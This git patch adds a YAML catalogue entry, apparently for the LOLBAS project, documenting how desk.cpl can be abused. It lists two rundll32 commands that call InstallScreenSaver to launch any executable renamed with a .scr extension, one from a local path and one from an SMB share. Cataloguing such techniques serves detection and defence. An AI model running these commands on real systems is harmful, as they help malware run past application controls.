From 6ed0fb932623468444bfccd7a51272a4dc3143ea Mon Sep 17 00:00:00 2001
From: LuxNoBu!!shit <51244609+LuxNoBulIshit@users.noreply.github.com>
Date: Wed, 27 Apr 2022 13:15:15 +0300
Subject: [PATCH] Create Desk.cpl (#207)

Co-authored-by: Wietze <wietze@users.noreply.github.com>
---
 yml/OSLibraries/desk.yml | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)
 create mode 100644 yml/OSLibraries/desk.yml

diff --git a/yml/OSLibraries/desk.yml b/yml/OSLibraries/desk.yml
new file mode 100644
index 0000000..3eb7f3a
--- /dev/null
+++ b/yml/OSLibraries/desk.yml
@@ -0,0 +1,34 @@
+---
+Name: desk.cpl
+Description: Desktop Settings Control Panel
+Author: Hai Vaknin
+Created: 2022-04-21
+Commands:
+  - Command: rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr
+    Description: Launch an executable with a .scr extension by calling the InstallScreenSaver function.
+    Usecase: Launch any executable payload, as long as it uses the .scr extension.
+    Category: Execute
+    Privileges: User
+    MitreID: T1218.011
+    OperatingSystem: Windows 10, Windows 11
+  - Command: rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr
+    Description: Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.
+    Usecase: Launch any executable payload, as long as it uses the .scr extension.
+    Category: Execute
+    Privileges: User
+    MitreID: T1218.011
+    OperatingSystem: Windows 10, Windows 11    
+Full_Path:
+  - Path: C:\Windows\System32\desk.cpl
+  - Path: C:\Windows\SysWOW64\desk.cpl
+Detection:
+  - IOC: 
+Resources:
+  - Link: https://twitter.com/pabraeken/status/998627081360695297
+  - Link: https://twitter.com/VakninHai/status/1517027824984547329
+Acknowledgement:
+  - Person: Pierre-Alexandre Braeken
+    Handle: '@pabraeken'
+  - Person: hai
+    Handle: '@VakninHai'
+---